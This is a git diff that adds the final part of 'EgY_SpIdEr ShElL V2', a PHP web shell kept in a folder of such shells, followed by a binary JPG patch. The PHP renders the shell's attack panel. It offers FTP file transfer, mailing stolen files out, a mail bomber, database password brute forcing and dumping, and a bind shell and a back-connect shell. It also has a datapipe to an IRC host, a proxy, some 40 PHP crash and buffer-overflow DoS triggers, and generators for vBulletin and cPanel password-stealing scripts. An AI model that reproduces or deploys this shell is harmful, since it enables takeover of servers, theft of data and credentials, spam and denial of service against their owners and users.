sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("egy_spider@hotmail.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("egy_spider@hotmail.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); + +echo $te."</td>".$fe."</tr></div></table>"; +} + + +{ +echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello EgY SpIdEr")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("file from egy spider shell")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir)); +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello EgY SpIdEr")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>'); +echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10))); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); + +echo $te."</td>".$fe."</tr></div></table>"; +} + + +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option value=MySQL>MySQL</option>'; +if($mssql_on) $select .= '<option value=MSSQL>MSSQL</option>'; +if($pg_on) $select .= '<option value=PostgreSQL>PostgreSQL</option>'; +if($ora_on) $select .= '<option value=Oracle>Oracle</option>'; +if($mysqli_on) $select .= '<option value=MySQLi>MySQLi</option>'; +if($msql_on) $select .= '<option value=mSQL>mSQL</option>'; +if($sqlite_on) $select .= '<option value=SQLite>SQLite</option>'; +$select .= '</select>'; + +echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up3.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>"; + +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute')); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']); +echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']); +echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic')))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; + +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; + +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>"; + +echo "</td>".$fe."</tr></div></table>"; +} + + +{ +echo $table_up1.div_title($lang[$language.'_text81'],'id555555').$table_up2.div('id555555').$ts."<tr>".$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +echo $table_up1.div_title($lang[$language.'_text81'],'id5525555').$table_up2.div('id5525555').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port1',35,'9999').ws(4).in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe."</tr></div></table>"; + +echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=25%>".$ts; +echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; +echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit [pack()]').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF [unserialize()]').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'BoF ZendEngine').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [dl()] vuln').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [preg_match()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Mem_limit [str_repeat()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload [tempnam()](PHP<5.1.2)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF [wordwrap()](PHP<5.1.2)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF [array_fill()](PHP<5.1.2)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF [substr_compare()](PHP<5.1.2)').$fe); +echo $te."</td><td valign=top width=25%>".$ts; +echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; +echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Arr. Cr. 64b[unserialize()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF [str_ireplace()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF [htmlentities()](PHP<5.1.6,4.4.4)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'BoF [zip_entry_read()](PHP<4.4.5)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF [sqlite_udf_decode_binary()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'BoF [msg_receive()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'BoF [php_stream_filter_create()](PHP5<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'BoF [unserialize()](PHP<4.4.4)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos21').in('submit','submit',0,'BoF [gdImageCreateTrueColor()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos22').in('submit','submit',0,'BoF [gdImageCopyResized()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos23').in('submit','submit',0,'DoS [iconv_substr()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos24').in('submit','submit',0,'DoS [setlocale()](PHP<5.2.x)').$fe); +echo $te."</td><td valign=top width=25%>".$ts; +echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; +echo sr(10,"",$fs.in('hidden','cmd',0,'dos25').in('submit','submit',0,'DoS [glob()] 1 (PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos26').in('submit','submit',0,'DoS [glob()] 2 (PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos27').in('submit','submit',0,'DoS [fnmatch()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos28').in('submit','submit',0,'BoF [imagepsloadfont()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos29').in('submit','submit',0,'BoF mSQL [msql_connect](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos30').in('submit','submit',0,'BoF [chunk_split()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos31').in('submit','submit',0,'BoF [php_win32sti.dl](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos32').in('submit','submit',0,'BoF [php_iisfunc.dll](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos33').in('submit','submit',0,'BoF [ntuser_getuserlist()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos34').in('submit','submit',0,'DoS [com_print_typeinfo()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos35').in('submit','submit',0,'BoF [iconv()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos36').in('submit','submit',0,'BoF [iconv_m_d_headers()](PHP<5.2.x)').$fe); +echo $te."</td><td valign=top width=25%>".$ts; +echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; +echo sr(10,"",$fs.in('hidden','cmd',0,'dos37').in('submit','submit',0,'BoF [iconv_mime_decode()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos38').in('submit','submit',0,'BoF [iconv_strlen()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos39').in('submit','submit',0,'BoF [printf()](PHP<5.2.5) and prior').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos40').in('submit','submit',0,'BoF [mssql_connect(), mssql_pconnect()](PHP<4.4.6) and prior').$fe); +/*echo sr(10,"",$fs.in('hidden','cmd',0,'dos').in('submit','submit',0,'BoF [()](PHP<5.2.x)').$fe);*/ +echo $te."</td></tr></div></table>"; +echo $fs.$table_up1.div_title($lang[$language.'_text211'],'id11111').$table_up2.div('id11111').$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text213']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','htacces',10,'.htaccess').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text218']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_ini',10,'ini.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text228']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_vb',10,'vb_hacker.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text230']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_cp',10,'pass_cpanel.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); +echo $te.'</div>'.$table_end1.$fe; +{ + + + +echo $te."</td>".$fe."</tr></div></table>"; +} + +echo $te."</td></tr></div></table>"; +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=tahoma size=-2><b>o---[ EgY_SpIdEr | </a> | <a egy_spider@hotmail.com>egy_spider@hotmail.com</a> developer by EgY SpIdEr ]---o</b></font></div></td></tr></table>"; +echo '</body></html>'; +?> diff --git a/php/PHPshell/【EgY_SpIdEr ShElL V2】/EgY_SpIdEr ShElL V2.php.jpg b/php/PHPshell/【EgY_SpIdEr ShElL V2】/EgY_SpIdEr ShElL V2.php.jpg new file mode 100644 index 0000000000000000000000000000000000000000..1ea4e3fc129dafaa2cfcfcd0f5ae1b60c659dc59 GIT binary patch literal 22409 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 